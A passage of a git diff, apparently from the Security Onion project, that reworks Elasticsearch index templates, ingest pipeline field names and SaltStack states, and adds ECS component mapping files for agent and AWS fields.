dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - so-scan-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-syslog: + index_sorting: False + index_template: + index_patterns: + - so-syslog* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - syslog-mappings + - dtc-syslog-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-tomcat: + index_sorting: False + index_template: + index_patterns: + - so-tomcat* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-zeek: + index_sorting: False + index_template: + index_patterns: + - so-zeek* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - syslog-mappings + - dtc-syslog-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - zeek-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-zscaler: + index_sorting: False + index_template: + index_patterns: + - so-zscaler* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 diff --git a/salt/elasticsearch/files/ingest/suricata.common b/salt/elasticsearch/files/ingest/suricata.common index 8e286d2b5..a8be6d46b 100644 --- a/salt/elasticsearch/files/ingest/suricata.common +++ b/salt/elasticsearch/files/ingest/suricata.common @@ -12,7 +12,7 @@ { "remove":{ "field": "dataset", "ignore_failure": true } }, { "rename":{ "field": "message2.event_type", "target_field": "dataset", "ignore_failure": true } }, { "set": { "field": "observer.name", "value": "{{agent.name}}" } }, - { "set": { "field": "ingest.timestamp", "value": "{{@timestamp}}" } }, + { "set": { "field": "event.ingested", "value": "{{@timestamp}}" } }, { "date": { "field": "message2.timestamp", "target_field": "@timestamp", "formats": ["ISO8601", "UNIX"], "timezone": "UTC", "ignore_failure": true } }, { "remove":{ "field": "agent", "ignore_failure": true } }, { "pipeline": { "if": "ctx?.dataset != null", "name": "suricata.{{dataset}}" } } diff --git a/salt/elasticsearch/files/ingest/syslog b/salt/elasticsearch/files/ingest/syslog index 367dcebe7..bf40efec5 100644 --- a/salt/elasticsearch/files/ingest/syslog +++ b/salt/elasticsearch/files/ingest/syslog @@ -26,7 +26,7 @@ { "set": { "if": "ctx.source?.application == 'filterlog'", "field": "dataset", "value": "firewall", "ignore_failure": true } }, { "set": { "if": "ctx.vendor != null", "field": "module", "value": "{{ vendor }}", "ignore_failure": true } }, { "set": { "if": "ctx.product != null", "field": "dataset", "value": "{{ product }}", "ignore_failure": true } }, - { "set": { "field": "ingest.timestamp", "value": "{{ @timestamp }}" } }, + { "set": { "field": "event.ingested", "value": "{{ @timestamp }}" } }, { "date": { "if": "ctx.syslog?.timestamp != null", "field": "syslog.timestamp", "target_field": "@timestamp", "formats": ["MMM d HH:mm:ss", "MMM dd HH:mm:ss", "ISO8601", "UNIX"], "ignore_failure": true } }, { "remove": { "field": ["pid", "program"], "ignore_missing": true, "ignore_failure": true } }, { "pipeline": { "if": "ctx.vendor != null && ctx.product != null", "name": "{{ vendor }}.{{ product }}", "ignore_failure": true } }, diff --git a/salt/elasticsearch/files/ingest/zeek.common b/salt/elasticsearch/files/ingest/zeek.common index e7b898c6f..3265e20be 100644 --- a/salt/elasticsearch/files/ingest/zeek.common +++ b/salt/elasticsearch/files/ingest/zeek.common @@ -1,8 +1,8 @@ { "description" : "zeek.common", "processors" : [ - { "rename": { "if": "ctx.message2?.ts != null", "field": "@timestamp", "target_field": "ingest.timestamp", "ignore_missing": true } }, - { "set": { "if": "ctx.message2?.ts == null", "field": "ingest.timestamp", "value": "{{ @timestamp }}" } }, + { "rename": { "if": "ctx.message2?.ts != null", "field": "@timestamp", "target_field": "event.ingested", "ignore_missing": true } }, + { "set": { "if": "ctx.message2?.ts == null", "field": "event.ingested", "value": "{{ @timestamp }}" } }, { "rename": { "field": "message2.uid", "target_field": "log.id.uid", "ignore_missing": true } }, { "dot_expander": { "field": "id.orig_h", "path": "message2", "ignore_failure": true } }, { "dot_expander": { "field": "id.orig_p", "path": "message2", "ignore_failure": true } }, diff --git a/salt/elasticsearch/files/ingest/zeek.dns b/salt/elasticsearch/files/ingest/zeek.dns index d0c07492e..9d7f7e93b 100644 --- a/salt/elasticsearch/files/ingest/zeek.dns +++ b/salt/elasticsearch/files/ingest/zeek.dns @@ -19,10 +19,11 @@ { "rename": { "field": "message2.RD", "target_field": "dns.recursion.desired", "ignore_missing": true } }, { "rename": { "field": "message2.RA", "target_field": "dns.recursion.available", "ignore_missing": true } }, { "rename": { "field": "message2.Z", "target_field": "dns.reserved", "ignore_missing": true } }, - { "rename": { "field": "message2.answers", "target_field": "dns.answers", "ignore_missing": true } }, + { "rename": { "field": "message2.answers", "target_field": "dns.answers.name", "ignore_missing": true } }, { "rename": { "field": "message2.TTLs", "target_field": "dns.ttls", "ignore_missing": true } }, { "rename": { "field": "message2.rejected", "target_field": "dns.query.rejected", "ignore_missing": true } }, { "script": { "lang": "painless", "source": "ctx.dns.query.length = ctx.dns.query.name.length()", "ignore_failure": true } }, + { "set": { "if": "ctx._index == 'so-zeek'", "field": "_index", "value": "so-zeek_dns", "override": true } }, { "pipeline": { "if": "ctx.dns.query?.name != null && ctx.dns.query.name.contains('.')", "name": "dns.tld" } }, { "pipeline": { "name": "zeek.common" } } ] diff --git a/salt/elasticsearch/files/ingest/zeek.syslog b/salt/elasticsearch/files/ingest/zeek.syslog index e32b89c7e..5bdbd9736 100644 --- a/salt/elasticsearch/files/ingest/zeek.syslog +++ b/salt/elasticsearch/files/ingest/zeek.syslog @@ -4,8 +4,8 @@ { "remove": { "field": ["host"], "ignore_failure": true } }, { "json": { "field": "message", "target_field": "message2", "ignore_failure": true } }, { "rename": { "field": "message2.proto", "target_field": "network.protocol", "ignore_missing": true } }, - { "rename": { "field": "message2.facility", "target_field": "syslog.facility", "ignore_missing": true } }, - { "rename": { "field": "message2.severity", "target_field": "syslog.severity", "ignore_missing": true } }, + { "rename": { "field": "message2.facility", "target_field": "syslog.facility_label", "ignore_missing": true } }, + { "rename": { "field": "message2.severity", "target_field": "syslog.severity_label", "ignore_missing": true } }, { "remove": { "field": "message", "ignore_failure": true } }, { "rename": { "field": "message2.message", "target_field": "message", "ignore_missing": true } }, { "pipeline": { "name": "zeek.common" } } diff --git a/salt/elasticsearch/init.sls b/salt/elasticsearch/init.sls index ece110c8b..19f1aeacb 100644 --- a/salt/elasticsearch/init.sls +++ b/salt/elasticsearch/init.sls @@ -41,7 +41,7 @@ include: {% set ROLES = salt['pillar.get']('elasticsearch:roles', {}) %} {% from 'elasticsearch/auth.map.jinja' import ELASTICAUTH with context %} {% from 'elasticsearch/config.map.jinja' import ESCONFIG with context %} - +{% from 'elasticsearch/template.map.jinja' import ES_INDEX_SETTINGS without context %} vm.max_map_count: sysctl.present: @@ -147,7 +147,7 @@ esingestdir: estemplatedir: file.directory: - - name: /opt/so/conf/elasticsearch/templates + - name: /opt/so/conf/elasticsearch/templates/index - user: 930 - group: 939 - makedirs: True @@ -196,20 +196,46 @@ esyml: ESCONFIG: {{ ESCONFIG }} - template: jinja -#sync templates to /opt/so/conf/elasticsearch/templates +escomponenttemplates: + file.recurse: + - name: /opt/so/conf/elasticsearch/templates/component + - source: salt://elasticsearch/templates/component + - user: 930 + - group: 939 + - onchanges_in: + - cmd: so-elasticsearch-templates + +# Auto-generate templates from defaults file +{% for index, settings in ES_INDEX_SETTINGS.items() %} +es_index_template_{{index}}: + file.managed: + - name: /opt/so/conf/elasticsearch/templates/index/{{ index }}-template.json + - source: salt://elasticsearch/base-template.json.jinja + - defaults: + TEMPLATE_CONFIG: {{ settings.index_template }} + - template: jinja + - onchanges_in: + - cmd: so-elasticsearch-templates +{% endfor %} + +{% if TEMPLATES %} +# Sync custom templates to /opt/so/conf/elasticsearch/templates {% for TEMPLATE in TEMPLATES %} es_template_{{TEMPLATE.split('.')[0] | replace("/","_") }}: file.managed: - - source: salt://elasticsearch/templates/{{TEMPLATE}} + - source: salt://elasticsearch/templates/index/{{TEMPLATE}} {% if 'jinja' in TEMPLATE.split('.')[-1] %} - - name: /opt/so/conf/elasticsearch/templates/{{TEMPLATE.split('/')[1] | replace(".jinja", "")}} + - name: /opt/so/conf/elasticsearch/templates/index/{{TEMPLATE.split('/')[1] | replace(".jinja", "")}} - template: jinja {% else %} - - name: /opt/so/conf/elasticsearch/templates/{{TEMPLATE.split('/')[1]}} + - name: /opt/so/conf/elasticsearch/templates/index/{{TEMPLATE.split('/')[1]}} {% endif %} - user: 930 - group: 939 + - onchanges_in: + - cmd: so-elasticsearch-templates {% endfor %} +{% endif %} esroles: file.recurse: @@ -242,6 +268,15 @@ es_repo_dir: - require: - file: nsmesdir +so-pipelines-reload: + file.absent: + - name: /opt/so/state/espipelines.txt + - onchanges: + - file: esingestconf + - file: esingestdynamicconf + - file: esyml + - file: so-elasticsearch-pipelines-script + auth_users: file.managed: - name: /opt/so/conf/elasticsearch/users.tmp @@ -332,9 +367,6 @@ so-elasticsearch: - watch: - file: cacertz - file: esyml - - file: esingestconf - - file: esingestdynamicconf - - file: so-elasticsearch-pipelines-script - require: - file: esyml - file: eslog4jfile @@ -359,19 +391,6 @@ append_so-elasticsearch_so-status.conf: - name: /opt/so/conf/so-status/so-status.conf - text: so-elasticsearch -so-elasticsearch-pipelines: - cmd.run: - - name: /usr/sbin/so-elasticsearch-pipelines {{ grains.host }} - - onchanges: - - file: esingestconf - - file: esingestdynamicconf - - file: esyml - - file: so-elasticsearch-pipelines-script - - require: - - docker_container: so-elasticsearch - - file: so-elasticsearch-pipelines-script - -{% if TEMPLATES %} so-elasticsearch-templates: cmd.run: - name: /usr/sbin/so-elasticsearch-templates-load @@ -380,7 +399,13 @@ so-elasticsearch-templates: - require: - docker_container: so-elasticsearch - file: es_sync_scripts -{% endif %} + +so-elasticsearch-pipelines: + cmd.run: + - name: /usr/sbin/so-elasticsearch-pipelines {{ grains.host }} + - require: + - docker_container: so-elasticsearch + - file: so-elasticsearch-pipelines-script so-elasticsearch-roles-load: cmd.run: diff --git a/salt/elasticsearch/template.map.jinja b/salt/elasticsearch/template.map.jinja new file mode 100644 index 000000000..8168fec50 --- /dev/null +++ b/salt/elasticsearch/template.map.jinja @@ -0,0 +1,7 @@ +{% import_yaml 'elasticsearch/defaults.yaml' as ESCONFIG with context %} +{%- set ES_INDEX_SETTINGS = salt['pillar.get']('elasticsearch:index_settings', default=ESCONFIG.elasticsearch.index_settings, merge=True) %} +{% for index, settings in ES_INDEX_SETTINGS.items() %} + {% if settings.index_sorting, False %} + {% do settings.index_template.template.settings.index.pop('sort') %} + {% endif %} +{% endfor %} diff --git a/salt/elasticsearch/templates/component/ecs/agent.json b/salt/elasticsearch/templates/component/ecs/agent.json new file mode 100644 index 000000000..4ee85974b --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/agent.json @@ -0,0 +1,120 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-agent.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "agent": { + "properties": { + "build": { + "properties": { + "original": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ephemeral_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/aws.json b/salt/elasticsearch/templates/component/ecs/aws.json new file mode 100644 index 000000000..b9c9a5ffb --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/aws.json @@ -0,0 +1,1114 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "aws": { + "properties": { + "cloudtrail": { + "properties": { + "additional_eventdata": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "api_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "console_login": { + "properties": { + "additional_eventdata": { + "properties": { + "login_to": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mfa_used": { + "type": "boolean" + }, + "mobile_version": { + "type": "boolean" + } + } + } + } + }, + "digest": { + "properties": { + "end_time": { + "type": "date" + }, + "log_files": { + "type": "nested" + }, + "newest_event_time": { + "type": "date" + }, + "oldest_event_time": { + "type": "date" + }, + "previous_hash_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "previous_s3_bucket": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_fingerprint": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "s3_bucket": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "s3_object": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "start_time": { + "type": "date" + } + } + }, + "error_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "error_message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flattened": { + "properties": { + "additional_eventdata": { + "type": "flattened" + }, + "request_parameters": { + "type": "flattened" + }, + "response_elements": { + "type": "flattened" + }, + "service_event_details": { + "type": "flattened" + } + } + }, + "insight_details": { + "type": "flattened" + }, + "management_event": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "read_only": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "recipient_account_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_parameters": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "resources": { + "properties": { + "account_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "arn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "response_elements": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "service_event_details": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "shared_event_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_identity": { + "properties": { + "access_key_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "arn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "invoked_by": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_context": { + "properties": { + "creation_date": { + "type": "date" + }, + "mfa_authenticated": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_issuer": { + "properties": { + "account_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "arn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "principal_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vpc_endpoint_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "cloudwatch": { + "properties": { + "message": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ec2": { + "properties": { + "ip_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "elb": { + "properties": { + "action_executed": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "backend": { + "properties": { + "http": { + "properties": { + "response": { + "properties": { + "status_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "ip": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "port": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "backend_processing_time": { + "properties": { + "sec": { + "type": "float" + } + } + }, + "chosen_cert": { + "properties": { + "arn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "serial": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_time": { + "properties": { + "ms": { + "type": "long" + } + } + }, + "error": { + "properties": { + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "incoming_tls_alert": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "listener": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "matched_rule_priority": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "redirect_url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_processing_time": { + "properties": { + "sec": { + "type": "float" + } + } + }, + "response_processing_time": { + "properties": { + "sec": { + "type": "float" + } + } + }, + "ssl_cipher": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssl_protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_group": { + "properties": { + "arn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "target_port": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_status_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tls_handshake_time": { + "properties": { + "ms": { + "type": "long" + } + } + }, + "tls_named_group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trace_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "s3access": { + "properties": { + "authentication_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bucket": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bucket_owner": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bytes_sent": { + "type": "long" + }, + "cipher_suite": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "error_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "host_header": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "host_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "http_status": { 